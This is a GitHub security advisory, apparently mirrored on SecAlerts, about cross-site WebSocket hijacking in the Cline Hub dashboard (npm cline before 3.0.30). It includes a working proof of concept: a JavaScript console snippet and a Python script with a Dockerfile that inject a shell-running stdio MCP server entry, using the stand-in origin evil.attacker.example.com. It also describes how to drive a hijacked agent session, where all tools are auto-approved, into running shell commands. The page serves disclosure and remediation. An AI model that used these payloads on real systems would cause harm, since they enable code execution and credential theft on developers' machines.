GHSA-3cj3-hqcr-g934: High severity npm/cline vulnerability

Published Sep 24, 2026
·
Updated

Summary

The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOMSECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsertmcpserver frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.

Details

The vulnerable code path spans multiple files in the apps/cline-hub workspace.

No secret by default (local bind)

apps/cline-hub/src/options.ts:54–57 converts an empty ROOMSECRET environment variable to undefined:

ts // apps/cline-hub/src/options.ts:54 function normalizeRoomSecret(value: string | undefined): string | undefined { const secret = value?.trim(); return secret ? secret : undefined; }

apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.

Authorization bypass — Origin not checked

apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:

ts // apps/cline-hub/src/server.ts:61 function isAuthorizedBrowserRequest(url: URL): boolean { if (!roomSecret) return true; return url.searchParams.get("roomSecret") === roomSecret; }

WebSocket upgrade without Origin validation

apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:

ts // apps/cline-hub/src/server.ts:86 if (url.pathname === "/browser") { if (!isAuthorizedBrowserRequest(url)) { return createJsonResponse({ error: "invalidroomsecret" }, 401); } if (server.upgrade(req, { data })) return undefined; }

Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.

Auto-approve tool policy for dashboard sessions

apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:

ts // apps/cline-hub/src/server/sessions.ts:129 toolPolicies: options?.autoApproveTools === false ? { "": { autoApprove: false } } : { "": { autoApprove: true } },

MCP settings write sink

apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsertmcpserver commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINEDATADIR/settings/clinemcpsettings.json, which Cline executes when the MCP server is next activated.

PoC

Prerequisites

- cline version 3.0.24 installed globally - A browser (or any WebSocket client) running on the same machine as the victim

Setup

bash npm i -g cline@3.0.24 export CLINEDATADIR="$(mktemp -d)" cline dashboard --no-open Default: HOST=127.0.0.1, PORT=8787, ROOMSECRET unset

Exploit (browser console on any cross-origin page)

Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:

js const ws = new WebSocket("ws://127.0.0.1:8787/browser"); ws.onopen = () => { ws.send(JSON.stringify({ type: "desktopCommand", id: "poc-mcp-write", command: "upsertmcpserver", args: { input: { name: "poc-cswsh", transportType: "stdio", command: "sh", args: ["-c", "touch /tmp/cline-hub-cswsh-poc"], disabled: false } } })); }; ws.onmessage = (e) => console.log(e.data);

Expected result

- The WebSocket connection is accepted without any Origin rejection. - The server responds with {"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}. - $CLINEDATADIR/settings/clinemcpsettings.json contains the injected poc-cswsh stdio MCP server entry pointing to sh -c .... - On the next MCP connection by Cline, the injected shell command executes under the victim's user account.

Docker-based dynamic reproduction

bash docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI11clinecline/ docker run --rm cswsh-poc-vuln001 Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED

The Python PoC (poc.py) connects to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com, sends the upsertmcpserver frame, and confirms both the ok: true response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.

RCE variant (requires provider/model configured)

If the victim has a working AI provider configured, send a type: "send" frame with config.autoApproveTools: true and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to autoApprove: true for all tools, so no confirmation prompt is shown.

Impact

Any malicious website visited by a developer running cline dashboard on the default local configuration can:

1. Read session metadata, workspace state, and provider configuration exposed through the WebSocket protocol. 2. Write arbitrary MCP server entries (including stdio entries with arbitrary shell commands) to clinemcpsettings.json, achieving persistent code execution when Cline activates the MCP server. 3. Control active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim. 4. Exfiltrate credentials or API keys available in the developer's environment or Cline provider configuration.

The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.

Reproduction artifacts

Dockerfile

dockerfile VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard CVE candidate: CWE-346 (Origin Validation Error) This Dockerfile builds a container that: 1. Installs the Bun runtime and SDK workspace dependencies 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages 3. Installs Python 3 + websockets library for the PoC script 4. Launches the cline-hub dashboard server (no ROOMSECRET → any Origin accepted) 5. Runs poc.py which connects with a cross-origin Origin header and injects an arbitrary MCP server entry into the user's settings file

FROM oven/bun:1.3

── System packages ────────────────────────────────────────────────────────── RUN apt-get update && \ apt-get install -y --no-install-recommends \ python3 python3-pip curl && \ rm -rf /var/lib/apt/lists/

Install Python websockets library for the PoC RUN pip3 install websockets --break-system-packages

── Copy source ─────────────────────────────────────────────────────────────── WORKDIR /app

Copy the cloned repository (build context = npmAI11clinecline/) COPY repo/ ./repo/

Copy the PoC script COPY vuln-001/poc.py ./poc.py

── Install workspace dependencies ──────────────────────────────────────────── WORKDIR /app/repo RUN bun install

── Build SDK packages (required: dist/ exports for @cline/core et al.) ────── Build order: shared → llms → agents → core RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/llms build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/agents build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/core build 2>&1 | tail -3

── Runtime environment ─────────────────────────────────────────────────────── ENV CLINEDATADIR=/tmp/cline-poc-data ENV WORKSPACEROOT=/tmp/workspace ENV CLINENOINTERACTIVE=1

RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace

WORKDIR /app

poc.py starts the dashboard server internally, runs the exploit, and exits CMD ["python3", "/app/poc.py"]

poc.py

python #!/usr/bin/env python3 """ VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard

Vulnerability path: apps/cline-hub/src/server.ts:61-64 isAuthorizedBrowserRequest() returns true unconditionally when roomSecret is undefined (no ROOMSECRET env var). apps/cline-hub/src/server.ts:86-97 /browser WebSocket upgrade: no Origin header validation is performed before accepting the connection.

Attack scenario: A developer is running cline dashboard on localhost:8787 (default, no secret). Any website they visit can open a cross-origin WebSocket to the dashboard, send a desktopCommand/upsertmcpserver frame, and inject an arbitrary stdio MCP server entry into the user's Cline settings file.

PoC steps: 1. Start the cline-hub dashboard server (no ROOMSECRET → roomSecret=undefined). 2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com (simulating a cross-origin browser page). 3. Send a desktopCommand frame: upsertmcpserver with a marker command. 4. Assert the server returns desktopCommandResult { ok: true }. 5. Read $CLINEDATADIR/settings/clinemcpsettings.json and confirm the injected MCP server entry is present.

Usage (inside Docker container): python3 /app/poc.py """

import asyncio import json import os import subprocess import sys import time import urllib.request import urllib.error

--------------------------------------------------------------------------- Configuration --------------------------------------------------------------------------- REPOROOT = "/app/repo" SERVERHOST = "127.0.0.1" SERVERPORT = 8787 SERVERHTTP = f"http://{SERVERHOST}:{SERVERPORT}" SERVERWS = f"ws://{SERVERHOST}:{SERVERPORT}/browser"

Simulated attacker origin — a cross-origin value that a real browser would send when JavaScript on http://evil.attacker.example.com opens the WebSocket. ATTACKORIGIN = "http://evil.attacker.example.com"

Injected MCP server payload MCPNAME = "poc-cswsh-marker" MCPCMD = "sh" MCPARGS = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSHSUCCESS"]

CLINEDATADIR = os.environ.get("CLINEDATADIR", "/tmp/cline-poc-data") MCPSETTINGS = os.path.join(CLINEDATADIR, "settings", "clinemcpsettings.json")

--------------------------------------------------------------------------- Server startup helpers ---------------------------------------------------------------------------

def startserver() -> subprocess.Popen: """Spawn the cline-hub dashboard server as a background process.""" print("[] Starting cline-hub dashboard server (no ROOMSECRET) ...") env = { os.environ, "CLINEDATADIR": CLINEDATADIR, "WORKSPACEROOT": os.environ.get("WORKSPACEROOT", "/tmp/workspace"), "CLINENOINTERACTIVE": "1", } proc = subprocess.Popen( [ "bun", "--conditions=development", "run", "apps/cline-hub/src/server.ts", ], cwd=REPOROOT, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) print(f"[] Server PID: {proc.pid}") return proc

def waitforserver(timeoutsecs: int = 120) -> bool: """Poll the /health endpoint until the server responds or timeout expires.""" print(f"[] Waiting for server at {SERVERHTTP}/health (timeout={timeoutsecs}s) ...") deadline = time.time() + timeoutsecs lasterr = "" while time.time() < deadline: try: with urllib.request.urlopen( f"{SERVERHTTP}/health", timeout=3 ) as resp: if resp.status == 200: data = json.loads(resp.read()) print(f"[+] Server is up. Health: {json.dumps(data)[:200]}") return True except Exception as exc: lasterr = str(exc) time.sleep(2) print(f"[-] Server did not become ready within {timeoutsecs}s. Last error: {lasterr}") return False

def drainserveroutput(proc: subprocess.Popen, lines: int = 30) -> str: """Collect recent server stdout/stderr for diagnostic purposes.""" collected = [] try: import select while True: r, , = select.select([proc.stdout], [], [], 0) if not r: break line = proc.stdout.readline() if not line: break collected.append(line.rstrip()) except Exception: pass return "\n".join(collected[-lines:])

--------------------------------------------------------------------------- WebSocket exploit ---------------------------------------------------------------------------

async def runexploit() -> dict: """ Connect to the dashboard WebSocket with a cross-origin Origin header, send upsertmcpserver, and return a result dict with evidence. """ # Import websockets — handle both legacy (<12) and current (>=12) API try: from websockets.asyncio.client import connect as wsconnect except ImportError: from websockets import connect as wsconnect # type: ignore[no-redef]

result = { "connectaccepted": False, "commandok": False, "mcpsettingswritten": False, "responseraw": "", "mcpsettingscontent": "", "error": "", }

print(f"[] Connecting to {SERVERWS}") print(f"[] Using cross-origin header: Origin: {ATTACKORIGIN}")

try: async with wsconnect( SERVERWS, additionalheaders={"Origin": ATTACKORIGIN}, opentimeout=15, ) as ws: result["connectaccepted"] = True print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACKORIGIN}") print("[] Server performed no Origin validation — CSWSH confirmed at connection level")

# Build the attack frame: inject an arbitrary stdio MCP server attackframe = { "type": "desktopCommand", "id": "poc-cswsh-001", "command": "upsertmcpserver", "args": { "input": { "name": MCPNAME, "transportType": "stdio", "command": MCPCMD, "args": MCPARGS, "disabled": False, } }, }

print(f"[] Sending desktopCommand: upsertmcpserver → {MCPNAME}") await ws.send(json.dumps(attackframe))

# Collect responses until we see our desktopCommandResult deadline = asyncio.geteventloop().time() + 30 while asyncio.geteventloop().time() < deadline: try: raw = await asyncio.waitfor(ws.recv(), timeout=5) result["responseraw"] = raw frame = json.loads(raw) if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001": if frame.get("ok") is True: result["commandok"] = True print(f"[+] desktopCommandResult received: ok=true") else: print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}") break # Ignore state-sync / status frames print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)") except asyncio.TimeoutError: print("[.] Waiting for desktopCommandResult ...") continue

except Exception as exc: result["error"] = str(exc) print(f"[-] WebSocket error: {exc}")

return result

def verifymcpsettings() -> dict: """Read the MCP settings file and confirm the injected entry is present.""" print(f"[] Checking MCP settings file: {MCPSETTINGS}") if not os.path.exists(MCPSETTINGS): print(f"[-] MCP settings file does not exist: {MCPSETTINGS}") return {"exists": False, "content": ""}

with open(MCPSETTINGS) as fh: content = fh.read() print(f"[+] MCP settings file content:\n{content}")

try: data = json.loads(content) servers = data.get("mcpServers", {}) if MCPNAME in servers: print(f"[+] INJECTED MCP server '{MCPNAME}' found in settings!") print(f" Entry: {json.dumps(servers[MCPNAME], indent=4)}") return {"exists": True, "content": content, "injected": True} else: print(f"[-] Injected server '{MCPNAME}' NOT found in settings.") print(f" Available servers: {list(servers.keys())}") return {"exists": True, "content": content, "injected": False} except json.JSONDecodeError as exc: return {"exists": True, "content": content, "injected": False, "parseerror": str(exc)}

--------------------------------------------------------------------------- Main ---------------------------------------------------------------------------

def main() -> int: print("=" 70) print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC") print("CWE-346 CVSS 9.6 (Critical)") print("=" 70)

os.makedirs(os.path.join(CLINEDATADIR, "settings"), existok=True) os.makedirs(os.environ.get("WORKSPACEROOT", "/tmp/workspace"), existok=True)

serverproc = startserver()

try: ready = waitforserver(timeoutsecs=120) if not ready: serverlog = drainserveroutput(serverproc) print(f"\n[!] Server startup log:\n{serverlog}") print("\n[RESULT] FAIL — server did not start within timeout") return 1

exploitresult = asyncio.run(runexploit())

mcpresult = verifymcpsettings()

print("\n" + "=" 70) print("RESULTS") print("=" 70) print(f" WebSocket accepted cross-origin connection : {exploitresult['connectaccepted']}") print(f" upsertmcpserver returned ok=true : {exploitresult['commandok']}") print(f" Injected entry present in MCP settings : {mcpresult.get('injected', False)}")

passed = ( exploitresult["connectaccepted"] and exploitresult["commandok"] and mcpresult.get("injected", False) )

if passed: print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED") print(" A page at http://evil.attacker.example.com connected to") print(f" {SERVERWS} without any Origin rejection,") print(f" and injected MCP server '{MCPNAME}' into the user's settings.") return 0 else: print("\n[RESULT] FAIL — Could not fully confirm all exploit steps") if exploitresult.get("error"): print(f" Error: {exploitresult['error']}") return 1

finally: print("\n[] Stopping server ...") serverproc.terminate() try: serverproc.wait(timeout=5) except subprocess.TimeoutExpired: serverproc.kill()

if name == "main": sys.exit(main())

Affected Software

1 affected componentFixes available
npm/cline<3.0.30
3.0.30

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/cline to a version that resolves this vulnerability.

    Fixed in 3.0.30

Event History

Sep 24, 2026
Advisory Published
via GitHub·07:48 PM
Data Sourced
via GitHub·07:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Developers running the Cline Hub dashboard through the `cline dashboard` command on a local `127.0.0.1` bind are exposed when `ROOM_SECRET` is not set. A website opened in the developer's browser can connect to the local dashboard WebSocket endpoint.

2

What does an attacker need to exploit it?

The attacker needs the victim to visit an attacker-controlled website while the dashboard is running. No authentication is required for the WebSocket connection when `ROOM_SECRET` is unset.

3

Are default local dashboard settings affected?

Yes. For local binds, an unset `ROOM_SECRET` is the default and causes browser requests to be authorized unconditionally. Dashboard sessions also default to `autoApprove: true` for all tools, so arbitrary command execution is possible when a provider or model is configured.

4

What could indicate that exploitation has already occurred?

Review Cline settings for unexpected MCP server entries, especially `stdio` MCP servers. The reported proof of exploitation used an `upsert_mcp_server` message to add a malicious server entry to the victim's settings file.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203